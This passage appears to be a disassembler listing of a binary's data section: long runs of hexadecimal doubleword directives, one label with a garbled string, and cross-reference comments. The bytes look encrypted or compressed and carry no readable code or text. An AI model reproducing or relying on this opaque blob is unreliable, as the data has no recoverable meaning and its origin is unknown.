0DD1B7E9Bh, 0A227EA30h, 7728F30Bh, 1800802Ah, 0EEAD09h dd 5A9E0E0Bh, 0D92291D7h, 92F6887Fh, 0F1941050h, 7C5BFC00h dd 0FFC53897h, 24D70ADh, 6268B365h, 20986EB2h, 0B6003BDEh dd 7907F21Fh, 1840F025h dd 10F1BF92h, 0C039C942h, 0B0ED015Ah, 3451B6ACh, 0F58AF8h dd 40B8E835h, 9BEFBCB1h, 2C5EE724h, 3DF46E00h, 0F5A48BBh dd 0F62F52E5h, 0B4CB95C0h, 400651Ah, 974B3F81h, 3EA1BDE3h dd 3381F4A8h, 4359A372h, 470CF8EFh, 30B2CD00h, 0DC804C6Ah dd 9087FEFFh, 55E80091h, 0A93CCAE1h, 8C00ED9Fh, 0E99B01CFh dd 1583396h, 0FE1881B0h, 0C4EF0735h, 7639ACB8h, 0C28D008Eh dd 4DE886A4h, 0BE1F0121h, 0A01D58C7h, 4FD6205Ah, 0C52E3B00h dd 0B183F786h, 0EE6379C0h, 7AA100D5h, 1AC4FACCh, 709D57A9h dd 31FF3AD1h, 40F19109h, 0BD168500h, 5400DDD6h, 712A2772h dd 6CC281h, 0E3CBB1F2h, 8D631786h, 0EB8EF000h, 6FDB4A7Ah dd 486D00BFh, 5B42A73Ch, 0A000B32h, 2F4EC06Ch, 2CE4DFh dd 0CC2E3A1Eh, 94FA7A27h, 9E26C300h, 3EADD895h, 0EBF4000Fh dd 0E92964DAh, 620034FCh, 0CF3EAF0h, 4892A1h, 49EE252h dd 67023615h, 593D7700h, 327FB012h, 94144806h, 1B64600Eh dd 98D8E260h, 54004EE5h, 0D7CA08C3h, 0B58E4Bh, 3277D45Ah dd 0C80A7DA0h, 0FCFB651Dh, 90EE94h, 6E2973FAh, 9B8B066h dd 0AB196AD0h, 0C7A39400h, 1600ED9Bh, 8E3BFB37h, 0EAA7BBh dd 0BC303E59h, 0E3859A3Fh, 0E058700h, 0F949743Ah, 679539BEh dd 76D9C500h, 8F4DF01Ah, 6ED00B00h, 0B59B360Ah, 0E50F018Dh dd 588ACF38h, 0F0DDC515h, 7B715445h, 4046CE00h, 0A98969C2h dd 82D800EAh, 0E16C5BB7h, 0BB18D6B1h, 9C886119h, 70040F5Ah dd 56400B08h, 30E24357h, 8AAB7B24h, 0D4200A00h, 70CE5A7h dd 659B5D8Ch, 1226A0EBh, 7E309181h, 0D96819FFh, 4A1C006Eh dd 5BA759E7h, 3801C20Ah, 49EF0EBCh, 83D8DB18h, 0D2820076h dd 5398C71Bh, 7F0EBFE5h, 4789C3DCh, 52F05A02h, 1DCC0972h dd 3288A1h, 585FE9BAh, 3A3E04C8h, 5868017h, 0C2388CD8h dd 7E960752h, 3001350Ch, 8161FB87h, 0C00D5600h, 9D8D531Dh dd 0E69907B6h, 3FA0E7h, 3C1AD528h, 2042E92Eh, 0B7DE7100h dd 0B139C7h, 77E23344h, 57498F09h, 3502AF07h, 24702ADAh dd 26C02FA2h, 0EC1DBBh, 0D8C89327h, 7400CCD5h, 0C54B8722h dd 0C3EFBAh, 39693044h, 615B493h, 5BA0770Fh, 0D93641C0h dd 9BE05497h, 0CF225h, 0F612920Eh, 0E5D6F153h, 36448900h dd 19C7B65Dh, 2624013Ah, 0B557F3BBh, 2E38CCE4h, 50CBE800h dd 58D2E6A9h, 0B62A0EEAh, 0C8606FC4h, 0A8E9DF4Ah, 6ACC6100h dd 0A6E21D59h, 0D95C000Ah, 0FBC9E48Ch, 0F801C04Fh, 0DE218A2Fh dd 319D3DD2h, 0AC74C0B6h, 69F5B589h, 0D8A7B200h, 0C8071103h dd 0C1633138h, 71AC0C28h, 0B857DC25h, 82095100h, 0A0A2C8DCh dd 391C002Fh, 7DA87461h, 0BC1EDD01h, 0E5806358h, 0B666ECCDh dd 456A03A7h, 148A623Fh, 4FDEF6C0h, 0AE385D00h, 8D658B1Fh dd 0A6FC0010h, 0C3BDE112h, 441E9C97h, 25C089AAh, 1D428C81h dd 0C79300B3h, 648E582Ch, 0BA0004A6h, 6D1E5716h, 0B2E823h dd 9183A093h, 0D3456401h, 0CC67B600h, 9CAF2125h, 1FBA00B7h dd 23C29EECh, 24E028D2h, 0BE72C300h, 0A554B66Ch, 0B11F0082h dd 0C87D3E14h, 90004499h, 5ADEE0A2h, 0C064E509h, 0FE5625E1h dd 0D6004AFFh, 696FF580h, 0E08A97h, 0B308905Ch, 264F286Eh dd 0E9D21900h, 7DCC0516h, 54E0007Ch, 68A2EB78h, 0AE044697h dd 0A7D39EFBh, 7F7A000h, 0DE00ECF9h, 4B618379h, 1CBDD6h dd 4299B219h, 9039F93h, 0F09888C3h, 63DAE0D9h, 0CB2200FDh dd 47B77754h, 0EA16E2A9h, 87006D0Bh, 6B60BF7Fh, 9CD93DCDh dd 1C8D9780h, 46472C8Ch, 8ECA7D0Fh, 7A63E7C0h, 6E5E6260h dd 0F11E0036h, 2895E62Bh, 0A40FA7B0h, 80485B05h, 7E24BF4Eh dd 12E6E5h, 0F20C5AB7h, 0E7F0AEB6h, 5DAF1400h, 3C37053Eh dd 19F0E11Ah, 63750743h, 813F8B09h, 0EB6A039Ch, 0C6EF87F8h dd 73BBB400h, 0F43E3348h, 0B3AB00C1h, 1E195985h, 0A200CEC3h dd 88E63B95h, 755CB90Ch, 22550215h, 0A12C9C0Dh, 0D2A95440h dd 0C6E54700h, 77CD9526h, 86B2017Ah, 0D5BCCA91h, 0BAC8DC12h dd 0BD8F3501h, 0C2AA6766h, 30432C4h, 0BCDCB16Ch, 9C2A42D6h dd 1A00D89Dh, 40456E07h, 0ECF18194h, 0D5350059h, 256FB9AAh dd 0D4E6A3FBh, 7226103h, 0E0C1DA7Dh, 32D12F5h, 0FD57320h dd 3C9ADECBh, 1F95F080h, 9B00EA02h, 0B922D88Eh, 1C607175h dd 822EE557h, 0BCD94485h, 6474D8C0h, 991CC97Dh, 3A40C503h dd 5E535029h, 0D58D0016h, 0CC24A840h, 0DB1D3D7Eh, 0BF4242C5h dd 0E0F4D448h, 982DF7h, 15CAD137h, 0AA012BC8h, 68D9EF00h dd 25DD076Bh, 3E3B007Bh, 0D0DB754Eh, 0C00DECAh, 38412297h dd 2956DEBh, 0DFEA4AFh, 584001F8h, 8A095ED5h, 0E0E331h dd 73692FB8h, 0CD7E00D1h, 930AA37h, 7A14085Ch, 0F89C14h dd 0A86A8ABCh, 300297BBh, 0FC48DC81h, 1CB0A2D5h, 3745491Ch dd 4CDBB107h, 8B84CCE1h, 984087E9h, 736529C2h, 1EF47E30h dd 64FCBA1h, 2086DA48h, 9BC14600h, 5122348Bh, 19211840h dd 7B367858h, 87998909h, 0A002078h, 98CBF5F6h, 6F5E0058h dd 0EBBD96FBh, 55001B62h, 89BBD373h, 5082DC7h, 922F9D05h dd 0FF8C00DFh, 1EC9B894h, 4C001B77h, 9F85076Ch, 3B192A9Dh dd 0C4063153h, 3082E077h, 7C135A02h, 806B7354h, 950EDCC0h dd 0A8360040h, 0F3EC0AB8h, 0D0EE6D77h, 67E1CB01h, 0C3BB7339h dd 117F7F4h, 8026BD29h, 4031068Fh, 73E98398h, 0AAB1930Ch dd 9BE004h, 0E3AFB536h, 0A85BE1B0h, 9D665317h, 788D4B00h dd 0FA56FCh, 62B4A96Bh, 2CC4683Ch, 371CAF00h, 0D57BA03Ah dd 0FC4F78BFh, 12F61B82h, 2FE15873h, 99A281FEh, 1F776A93h dd 0A2E45F31h, 6E830098h, 0E3FC1124h, 490029D4h, 0D29E934Eh dd 7D360BC5h, 0AC882839h, 72E50987h, 7D0ACBDDh, 0A2B904D0h dd 0D5F10097h, 101267h, 0C254C90Bh, 1F3DB4FFh, 4A22CCE3h dd 0BD181103h, 0BAD28D1Eh, 37D78015h, 0F047967h, 65FE7DC7h dd 0C563A4AEh, 1FD8CF58h, 431EEEB8h, 0D08069AFh, 2544BE1h dd 0C4514852h, 0A2992E00h, 59490C3Fh, 7B2DC61Dh, 0A702B75Eh dd 412FAC12h, 0D6CC2928h, 772405A6h, 801D8819h, 0ED33CC04h dd 3ABEE700h, 0F5C3095Bh, 560780BBh, 0C5302203h, 986C34D1h dd 0F0271D02h, 4B0F296h, 63A5E635h, 4D0C813Fh, 7BA88124h dd 0CBBAA272h, 8D28C8h, 0CD202F31h, 0FEE99A03h, 564B2200h dd 0E7F3BE63h, 48ADECC2h, 0E4500438h, 0F5BC0319h, 8553745Bh dd 9FCDA000h, 8462349Ah, 2C134CEDh, 30BC6F30h, 511FF1EAh dd 0AC0CEFDh, 83285663h, 0A5C503C1h, 803BB513h, 0FC06BF89h dd 700EEB92h, 805668EAh, 15C744BCh, 87CE9h, 7D06882Ah dd 0E5F776D4h, 6C015200h, 0A3BD377h, 0BB270AE9h, 808CDC9Ch dd 0D0285E7Fh, 500AAFDh, 802E7AE5h, 0EB21668h, 2D93DAFAh dd 700E7347h, 0B7F3EE0Ah, 6C74880Bh, 5B70030h, 6256AEh dd 0C0A42A82h, 28834375h, 7CC5B909h, 0F75B83DFh, 0CC4AC039h dd 48110092h, 0C75A8302h, 0F6010734h, 42A79C2Bh, 0F4308991h dd 26EB007Dh, 5A77524Fh, 0C7000C18h, 0C0F6FBF2h, 3D031997h dd 0F665AEh, 748FE93Ah, 67E00AB0h, 0BC11B400h, 725D9087h dd 387C80h, 0FAFEBD84h, 29EB7EB0h, 66F62A00h, 0C4943E4Fh dd 0F4270CC0h, 640AA7F0h, 0AB355C00h, 9A01EEEh, 940A00E2h dd 0C069F30h, 81E4E88Ch, 566B5901h, 0CB44B77Dh, 3B6EAE0h dd 0A4B408D6h, 8F81D3C8h dd 345DD040h, 5B7CF438h, 7206E0FCh, 38317122h, 82990201h dd 0BA0A342Eh, 0BF06E841h, 0AF8834h, 0CEF06C4Dh, 4166E999h dd 3A00D5F0h, 0AD43BB6Bh, 0B3EB1Ah, 9060861Ch, 111B70Eh dd 832B7F00h, 96CFF56Bh, 0FD6700E6h, 93FED34Ah, 0F098540Fh dd 0C57FEB07h, 20F08C3Eh, 373BD4C0h, 8678AC28h, 30610A0h dd 1E69B9F2h, 2E47120h, 0ACDC04B7h, 2EE2F3D7h, 10281CA1h dd 5906D374h, 7043C567h, 0AB730E11h, 0D000C41Fh, 0E2FDD7D4h dd 37E148D8h, 74872C9Ch, 0E3283EEFh, 2F3F0D0Ch, 0D7342267h dd 0CD0C1980h, 0B71D2CF8h, 2043616Eh, 0B8A5EFE5h, 2E464h dd 0F38A7378h, 68D62DF9h, 9150C701h, 8E7E69C8h, 7BA9DCh dd 19DF6A21h, 67A41EA2h, 0AC152A01h, 71F0384h, 0B06DB443h dd 48AE69D6h, 0E90138E1h, 0DEC4F3C2h, 0A6D5C4ADh, 0B6BBBD18h dd 14DC6F9h, 0CE985066h, 0F8D4AD7Eh, 400EE9Eh, 0D576E1E5h dd 39A4ED48h, 88541469h, 0A8EB056Dh, 807DB4D9h, 8C2E73E0h dd 0B0785100h, 0D2ED9A4Ch, 313D0070h, 58BC9879h, 4603C919h dd 0B93CD3C4h, 0E7A1D0F3h, 69660C4Bh, 0A6596C15h, 0B9D6A204h dd 0BAC024EAh, 195FB775h, 205B8BB6h, 0D560E258h, 8C2E767Fh dd 1E039A69h, 28608BB3h, 9D0F21h, 1301657Eh, 765554F6h dd 2B05F200h, 78D2F31Bh, 0F5768Ch, 25333D14h, 60D749DEh dd 0DCB9892Ah, 0AF6B441Eh, 6F30E03Dh, 294A1Ah, 31B92C4Bh dd 0D0E6CCBh, 0E9A3E301h, 6E379A68h, 0A9F3C180h, 7BA1CD18h dd 74132600h, 8D3D2819h, 24608862h, 9469A968h, 0DCFFA506h dd 61660011h, 657FE270h, 4803C223h, 1226413Fh, 0EFF2D80Eh dd 24BA00BFh, 3ED05903h, 0B3FEB298h, 0E5C2048h, 0E0923F83h dd 46E36B16h, 0D9BA1E7Dh, 2101B93Ch, 989CD2BCh, 55EAC85Ch dd 4259B300h, 0B0D546DDh, 1E470052h, 790F3137h, 260F913Ch dd 38A769Eh, 72073h, 0A5B51149h, 9438A7BCh, 19DD8430h dd 1F96410h, 0F7850648h, 42CDD0E8h, 0F7FC2EB7h, 1E1EFB17h dd 61A30E43h, 4A78063Ah, 612F7A88h, 76ED4101h, 5C31ABC4h dd 0C9012087h, 500592Eh, 0A0AD3DF3h, 0A82C3631h, 7FDC7C78h dd 0BE8300D2h, 8C21C32Eh, 2500C73Dh, 5582DC97h, 39725E3Ah dd 519C2681h, 0F29A421h, 61805CF5h, 0AF97B082h, 422F600h dd 0C78FDB53h, 0B5FA5Bh, 9C09C168h, 6BA90CB1h, 97ACC000h dd 698B2B85h, 147D004Fh, 950A7F92h, 0ED4C499Ch, 6AB41FC9h dd 9FA38780h, 0DC90624h, 0F9BF3461h, 327FE051h, 64CCE200h dd 629D80B7h, 7DF3E9C4h, 2460721h, 0C18F1287h, 83696388h dd 5E49818h, 3E6000F3h, 0F7937B61h, 0EA35CD34h, 0B08058BFh dd 7AE7C084h, 63C2006Fh, 0C8E67FEEh, 6207EDB7h, 6574B6BEh dd 238AAECEh, 0FF0D94h, 0B50199B8h, 655F406Ah, 5E91E00Eh dd 86B7A095h, 288ED4BAh, 0D9BBC4h, 7451BC1Ah, 0AA680E7Eh dd 0D9E158C0h, 907F2h, 49C6903h, 0C4DCE6BAh, 6C65C205h dd 8FC4F418h, 8008C87h, 6DDB09h, 0CEE5A283h, 9B9D71F0h dd 0CD18E663h, 0F2080005h, 40C81A9h, 57004131h, 92EAD119h dd 8DFA0h, 0D888EBDBh, 760E9D63h, 0F300F7FEh, 16CB5FF2h dd 0F6ECC4h, 0B87EBC86h, 76DA225Ah, 0F238EA60h, 75C19E0Eh dd 0A330C7C3h, 0ED67906Dh, 1D30866Ch, 9D8748FAh, 0DAEA0684h dd 0A916936Fh, 751F497Ah, 0F032F1CDh, 6B5C134h, 0EB991h dd 1D280D35h, 3CAF780h, 0FF59A2DFh, 61E94AC2h, 0DB9440F4h dd 0EA001370h, 0C3C95B2Bh, 4F1E0Ah, 0BD33D914h, 26348AEh dd 0D7023790h, 7C29C784h, 828180C3h, 650D5575h, 30D9107Fh dd 0AEE5E404h, 982710C0h, 7A4F7Bh, 5E6BE85Ch, 0B52D4A97h dd 0E3399178h, 9A8F24D2h, 29B1BF0Ch, 12B940D4h, 7428A100h dd 47B4DE86h, 0F4EA00B6h, 23146ECh, 3401B072h, 0FE103A43h dd 0F7F4A656h, 0A31C0367h, 0AA7F667Bh, 0FD7FFF8h, 2B00F17Bh dd 0C8837075h, 5CBACCF9h, 17FB5EDh, 63A6C507h, 0E4919861h dd 0D977AB33h, 0BCC9A000h, 0DCD19C39h, 0BE8700C5h, 0FF302F98h dd 6173828h, 0A600C132h, 3A5CDAC8h, 62AB593Eh, 427B731Fh dd 0EB8874A6h, 635DBE0h, 0C1ACA503h, 0E5BF658Bh, 6F80941Ch dd 0FDFA5CC9h, 7A850A64h, 0F35302h, 7D2F42Dh, 0FE00DF5Ah dd 0AAE37142h, 744D49h, 353C208Fh, 4770410Bh, 8BA6C200h dd 132806CFh, 5A2B0FEDh, 69A11CE0h, 0E8EFA0BDh, 9D00CA6Fh dd 73D1DFBFh, 411562h, 0FE33A117h, 0A3E0E6F6h, 802A6000h dd 66FA6A05h, 0E4B309B0h, 8980A143h, 0F1D8638Bh, 0ECAA8A28h dd 9F7E4500h, 8DB4C99Eh, 0E1520E8Fh, 35C02947h, 5ACB84B2h dd 3C0759FAh, 1AA1C515h, 0A1129882h, 0EEEA24E4h, 2B2EF8h dd 0DF33C072h, 370D92D8h, 0F03A3E01h, 7C905079h, 0FE9748D4h dd 8E60022Fh, 0E7875B35h, 3776B2E0h, 0F5784A00h, 61EBA6A7h dd 49ED1C54h, 8D400020h, 371050DDh, 7B9B6D07h, 7540625Fh dd 0B0A38E95h, 0C8A960EAh, 9E30259h, 0A2E81D12h, 0A2001C12h dd 4990141h, 472C00F0h, 0C7E3B5D9h, 0CE5C0588h, 464500C7h dd 61B8B994h, 0C2A2001Ch, 0D333F50Fh, 93606E83h, 0A98D7AC8h dd 20501F78h, 9F5C8E4Ah, 0D3BD5640h, 8B00A4E2h, 0ED4BF7Dh dd 9454A5h, 4966C0F9h, 3A254092h, 60EB1200h, 41B95F36h dd 0B3CA00A3h, 0E82779C1h, 9B007FD8h, 0E6CCD4F3h, 38175D7Ah dd 0DF8030A0h, 3DCF1BF9h, 480005DEh, 58CB7E44h, 0A037BD85h dd 0FA0CE0D3h, 0BFF70097h, 4F805E47h, 0DF015B53h, 4160B6D4h dd 0EBC8247Ah, 2011006Fh, 365F3BF9h, 2800144Dh, 40B7BEFDh dd 701AA4h, 8ADE4CC1h, 0F9AD96C7h, 0DE4D604h, 14D037B7h dd 36C09h, 0EE4FF51Ah, 4114305h, 69227900h, 19A15ABh, 0D2FE00FFh dd 526FCA36h, 0ED3E8FE4h, 6ED50075h, 43D45508h, 0A5AE004Fh dd 6A225066h, 0DB05FB3Ch, 371389BCh, 0C03F5B82h, 0EE6149D0h dd 2E1B5C6Ah, 66F9AC03h, 0B0D8C2AFh, 50242D9Dh, 0AA00D8B9h dd 47D04D58h, 0D4D70030h, 34DCC176h, 18607A3Bh, 9AF8FDC8h dd 3239131Dh, 884D00D6h, 6D60E93Fh, 8F462509h, 4F78A0B9h dd 7CC6959Ah, 54A60AE7h, 3F45B99h, 7D36AF3Ch, 20FFF7AFh dd 73E812F4h, 0D976B700h, 0E6220CF3h, 0BCC33F2Ah, 0B2273509h dd 9D6938A0h, 38C05FACh, 64AF8567h, 89F0089h, 0F4D9AD9Ch dd 0CF0081E0h, 2FAEA92Dh, 0B65FEEh, 6EDB337h, 0DD7726F3h dd 8C3C4700h, 0D414CE2Eh, 0FFF2005Ch, 0E41E4D27h, 2F00F5EBh dd 85D2CA23h, 0FE564C22h, 0E3F70039h, 0C4C6595Bh, 30E9B537h dd 0EB00CEC6h, 621A9540h, 0BEF478h, 0A21860E6h, 0B49ED598h dd 58C72400h, 0B1FB8B2Ah, 0EAD314C3h, 0EC009087h, 893AEA1h dd 740356D4h, 0FD0D499Dh, 7E67F052h, 0F90E2BEh, 0DA359239h dd 7D5DB460h, 0F701BCAAh, 2CA4B870h, 42ECFDF2h, 3A1600C5h dd 60EE6CC3h, 0C6004CA6h, 2202BB17h, 9C07EBh, 0F73BFF3Eh dd 0C91C0647h, 0B3EE6D09h, 0BA9427CFh, 0B25A150h, 39721FF8h dd 2BE280B1h, 49E8C723h, 7EDB962Fh, 8FD8015Ch, 0D79DEFCBh dd 762DDEA0h, 3A872303h, 0E7AA919Ah, 0FF80F070h, 1037FF2h dd 684F9ECEh, 245A29AFh, 1A1C34A4h, 0B3C0F51Ch, 0EB7C0AFFh dd 60ED5858h, 8C6C3F00h, 0CEFEF6FBh, 0EF69B91Dh, 2800BD12h dd 7472B2B6h, 0FE6006Fh, 0FC09024Fh, 0C1003436h, 5B10E5A0h dd 38AD972h, 0D71B4BF5h, 48A8F983h, 333CDBA2h, 267001C9h dd 4FFCBA97h dd 0CFDFE0h, 0FE60C840h, 0A3E2BA2h db 0 a_JqU0DxN db 'ы.$├÷ [·0╩dXв"n',0 ; DATA XREF: ___:off_43859Co ; ___:off_4385B4o db 20h, 0F8h, 0F3h dd 41EBCD3Ah, 114F001Dh, 0B8E0E950h, 10001722h, 24CA3C45h dd 59EB23h, 0C21AD032h, 8ACC30Ah, 80F32D3Dh, 0F46050ECh dd 0E933Ah, 244E8A15h, 53776799h, 8C552300h, 909EF0AEh dd 0F8F60052h, 0FE091F98h, 8F006F0Ch, 8BB17BD3h, 12046A37h dd 806B25h, 0CA1428B0h, 2700FE7Eh, 0CD8EAE72h, 7BA42ECh dd 80316F8Ah, 12FB03BBh, 0E2EAC2D0h, 9C135300h, 212C84FCh dd 5CF60CC4h, 7B8064BCh, 2D889F12h, 0B23E00EFh, 0D7700DC3h dd 0F965F707h, 6181DC8Ah, 1090F084h, 0A75E039Ah, 8FF5BF3h dd 92C9E420h, 23228C00h, 48196866h, 607089FCh, 9F7969B8h dd 0CD13D427h, 820A7166h, 0F9010897h, 98B9B274h, 0C7DDB0CCh dd 10682F50h, 88997B25h, 0D081A300h, 19F045CEh, 0EEB20F4Dh dd 88F870FDh, 2F384F77h, 811F7CC4h, 928049ABh, 47885642h dd 46A70020h, 0A34F50EEh, 8E7E37EFh, 0F3C7200h, 0C481FC3h dd 66E80F41h, 0C05D85F6h, 558C602Eh, 2A0017F5h, 8290B2BEh dd 67A26664h, 90AEE8F4h, 2128B713h, 0E0682E33h, 0C5083019h dd 0B712B621h, 2CF69D00h, 49E9E3F5h, 45890776h, 0A1E27CE8h dd 0FBD80DA2h, 83B61814h, 0F0240294h, 0A099940Eh, 9DB2CEA8h dd 1BC30E6Fh, 7C6C8879h, 0D0A1DF08h, 9D84208Ch, 36B1C202h dd 8ABC46D7h, 65832C88h, 0BB869A22h, 6C110077h, 0F91A3B14h dd 5919C3C2h, 0A408D2F1h, 2C362180h, 8794243Bh, 8406C907h dd 0B8307107h, 0C455090h, 781517F9h, 0E1182310h, 1170E7FEh dd 0A87418E3h, 0DB44D88Ch, 5849FF0Ah, 61919CB8h, 13B71C80h dd 448C2621h, 0ACA0B954h, 6B00CBFEh, 2F0BBCF1h, 180444Ah dd 0BF1C1D45h, 0EC257648h, 0B96C16C7h, 8C85E880h, 6F3B2702h dd 19DCFAF9h, 1F4D10A9h, 0FF743Bh, 0A156A84Bh, 57531C1h dd 0C8F02828h, 3DBAC480h, 10C0C9E8h, 0D88D37C1h, 30B8E7h dd 0D2CCF28Bh, 451CDE16h, 60A76A00h, 0F7F66E66h, 3FB50044h dd 5E3102BAh, 9300B3BFh, 2ED0EB82h, 0EA74F0h, 44096119h dd 0E0A933DDh, 0F14E8901h, 4D81D836h, 6EDC64D1h, 9C01288Bh dd 96E601B7h, 9A25D3B5h, 80ECC435h, 7037B000h, 7C33A8B2h dd 0C23F00DAh, 52B77A69h, 0BB03AAA1h, 0B894CACh, 56D1A805h dd 3DC50060h, 619B7732h, 0F9007E4Bh, 2BD899BCh, 0EED5319Ah dd 76BA1F38h, 0F67800FCh, 95658BF3h, 550019FCh, 0D37E77FBh dd 1C4426F4h, 80E5A1E0h, 99FFA0B2h, 34005F52h, 0AB240BFBh dd 0CD5433ADh, 0DC21B008h, 0BD003477h, 0D8D6881Ch, 0E45AB89Fh dd 4C2A80B1h, 3709431Fh, 8CACC313h, 42241B07h, 68D5092h dd 3B1FA377h, 1A000B44h, 91877E80h, 0E9C41D99h, 0DF8830F5h dd 5F0171FBh, 94ADDDBAh, 88CED82h, 0B5209A26h, 9F711301h dd 0D4DB0A23h, 784EFDCh, 0FF8C2D8Fh, 1BFD904Bh, 31C002E8h dd 906BD323h, 6D773D4Dh, 71B800FDh, 4CD85FA4h, 4363B614h dd 70EA788h, 88C29830h, 0D7823090h, 0FE0F13DBh, 837FCE1Bh dd 1CCAC4BBh, 8C1AFFA9h, 670ED7Bh, 863E8F18h, 19B2F720h dd 299C175Ah, 0E6EAE4B9h, 0B4BE1A01h, 0B5CE12CBh, 9C409DD3h dd 99E9BFCFh, 0F97302h, 5E2D6D80h, 0F669D981h, 9B70FC60h dd 36B8CAh, 7B7E3355h, 0FDB382A3h, 71BA1903h, 13F47685h dd 590899h, 93525834h, 0F4A938CAh, 87918EFh, 540B1134h dd 0F240B7C4h, 0A9C23451h, 56456600h, 0C6DF8C4Fh, 82670054h dd 96C8E07Ch, 44001599h, 877DE2DAh, 169598Ch, 0E0FEF0A5h dd 0E0D23385h, 4C03A376h, 0D44F0468h, 0A8A4910Bh, 0ABDCF0F3h dd 40F60044h, 7BF7B21Dh, 8C008042h, 9E0882DEh, 192038h dd 6E2B942Eh, 22A6E21Bh, 3866A00h, 0AFE627E9h, 7C7299h dd 0DC5461BEh, 85D3FB18h, 63C1C900h, 0F9967E8Bh, 39B7001Ah dd 20979D8h, 8500A7B9h, 0A47D51E9h, 0C159AD28h, 0A8784634h dd 6514409Ch, 7501426Bh, 27B81E2Bh, 5BF07828h, 196F07BAh dd 196D94Eh, 0EF3BB259h, 0C99C1000h, 70A94373h, 7CF8EF63h dd 7711F5Ah, 987E809Fh, 34F0DB10h, 70022F30h, 388F62h dd 297748F5h, 0E7BE752Eh, 43885907h, 0B06020AFh, 6D349C5h dd 2AABC9A4h, 90138D5h, 1FBAE9F4h, 3C8168FAh, 549F91A9h dd 7A9420E6h, 0AD5D5A1Ch, 303A3B0Ch, 96670002h, 6F633CC1h dd 0CF0092AFh, 0AB3BCB5Bh, 2841D31h, 83F7F98Dh, 46001F4Fh dd 6C73722Dh, 0FC20403Fh, 403B0E18h, 0D91F51h, 69653EF2h dd 0A7F8857Eh, 77220800h, 0BF252CC8h, 0D68C00D2h, 3283D527h dd 0D00BADEh, 39574EB7h, 0FE45BA4h, 56964A91h, 0ED8189EBh dd 0C10D11C7h, 0F01860A6h, 3562670Fh, 0DDCBC045h, 13865B8h dd 31FBE45Dh, 0CC91E5CEh, 0F007CD5Ch, 0A8D08E32h, 710A802Eh dd 8E71Ch, 43B58291h, 0B08A3312h, 0DD6D9F00h, 72EB39DBh dd 9127001Ah, 987635A2h, 0F300A3DCh, 7FE7669Eh, 17AC2D4h dd 918DBE0h, 871295F6h, 0EE390D88h, 15AFF83h, 33B6DB50h dd 80524CA5h, 0C5DCCED0h, 60039CD2h, 2309A1EFh, 30C07517h dd 0F7E01E4Fh, 83620048h, 9095D4ADh, 8772CDFBh, 8CA6262Ah dd 7F2FD50Fh, 0A3B56333h, 0E05CF3AEh, 1EB1B642h, 0CECCE8F8h dd 0A8003B41h, 3EC6A582h, 0E6DB300h, 3832BFB6h, 0FD7394h dd 0D58C5039h, 0A372DA21h, 0FC58D228h, 0A87B5E00h, 0E2F98A41h dd 5D610063h, 30E0814h, 461DE33Ch, 813A5516h, 0F6E07E05h dd 97D039C2h, 47D11DDAh, 21621899h, 0F000A41Fh, 17B3C0BDh dd 213588Fh, 0AB38AC3Eh, 0EBC0FEC2h, 0C80449DAh, 6BF16162h dd 598FC880h, 609D7D98h, 19A5485Eh, 502C71B4h, 780CFC4Dh dd 0C0010815h, 0B45BF621h, 333776B0h, 76018A3h, 3F5E0526h dd 3079E3C9h, 8310FC85h, 0EB001A48h, 51F0187Eh, 0E8FA7036h dd 20376012h, 1613499Ah, 739E7D00h, 146EFECFh, 0FC940C36h dd 0B3D9A683h, 30DE39F2h, 1277D901h, 80834F96h, 0B00A9A87h dd 365E2900h, 0BDD651C7h, 36DE704Dh, 98A0E1A3h, 8006CA21h dd 7E2D1A4Eh, 4486F148h, 4500342Ch, 2E0D4413h, 0B65DB2h dd 1A269C41h, 14307553h, 52D00B54h, 2A6098F0h, 9E242710h dd 0B2E42869h, 0D28E008Ah, 0CF846FEEh, 2C00A5FBh, 9FCD05C1h dd 186EB52h, 0C413E0Eh, 0DCC8C42Ah, 220088F4h, 3E742FFh dd 0E169FE0h, 12BFDF4Fh, 43B34020h, 7DF41AC4h, 65183E00h dd 7FDE46E4h, 0D2EA008Fh, 832E4884h, 9207813Ah, 0C860C0A2h dd 0E81F1960h, 0BB640023h, 3361A0BDh, 0B774B334h, 8B6C6600h dd 9DE5272Dh, 1BCA07C7h, 46C01742h, 750021C3h, 6D9B2765h dd 9AA16Eh, 525BC681h, 6B0E55EEh, 28BB8C37h, 0D8C54A50h dd 0ECC11F3Bh, 0E557C338h, 0C4A15E60h, 0A4208017h, 0C22A3A30h dd 49EF00A3h, 35C1F3EEh, 5C7CA1F0h, 0E785A80Eh, 9912C155h dd 304A0F4Ah, 301EB8C4h, 23D88Fh, 6BFAAADh, 216C9FAEh dd 48341330h, 60FCEE4Ah, 23CD6887h, 0F9079384h, 6BE104A1h dd 0E7F60A23h, 805EB555h, 816A998Ch, 0C2D50764h, 0C174F6E5h dd 95885185h, 0A8540E48h, 3BE7B3Ch, 4308B28Ch, 0EB9817FEh dd 88A36415h, 0B641BCA0h, 7C33783Ah, 18567D30h, 0E28F7398h dd 0FFE100E9h, 0CC1BD39Bh, 6F1F5974h, 9880EE40h, 165B79C9h dd 38FC0445h, 0EF2E5FB4h, 0B00348C0h, 29633BA0h, 0EC924A03h dd 0E8A04D8Ah, 4F0041FBh, 0DA8718ACh, 0B60415h, 7C55581Fh dd 0C85FB3D2h, 1286430Fh, 18E9200Fh, 188A491h, 0AA9015B9h dd 0C8815CC7h, 2F0042AEh dd 64E3C603h, 0EEBA9716h, 99683B04h, 6F2BC100h, 4783D9B9h dd 21C408CCh, 96EA00C3h, 829313E9h, 0DC008A98h, 0B1CA5C9Ch dd 0F0B032Ah, 0C8041C85h, 31BC6EE0h, 510E5DCBh, 0D78E4Eh dd 9D501B6Ah, 0DA9E0095h, 3E328E0h, 3ED016AFh, 8AC90610h dd 0C248D9B7h, 1E4A6E21h, 0DA09F303h, 5AE501F8h, 0C0CFD796h dd 538D1C90h, 83817460h, 762B1312h, 0DBFA0C7Eh, 1F081061h dd 9C20D760h, 7CE3136Bh, 0B42838A9h, 8A6D028Fh, 40747227h dd 79032B2Ah, 633E2300h, 0AA78B2DBh, 3F274D3h, 0ED6F076Eh dd 4B901D11h, 85003B03h, 0DA9CDBE4h, 1BFCA80h, 2C5E8127h dd 0F04C82A7h, 25007201h, 0DFAC402Fh, 0BB7A93h, 5CBA59E2h dd 86C0AAD1h, 879E8A0Fh, 3CC6C0E4h, 13A3CE55h, 0C464E7h dd 4A2DEF70h, 661E0E61h, 0F58F4119h, 0E4948558h, 845BF000h dd 286ACAh, 802EC45Fh, 678579B0h, 7EDB2300h, 0E2582D62h dd 17FB005Ch, 0A522D425h, 0AC24DDB3h, 2D00B180h, 575B6BDBh dd 0EAAF3EE2h, 90D92030h, 0CD00A470h, 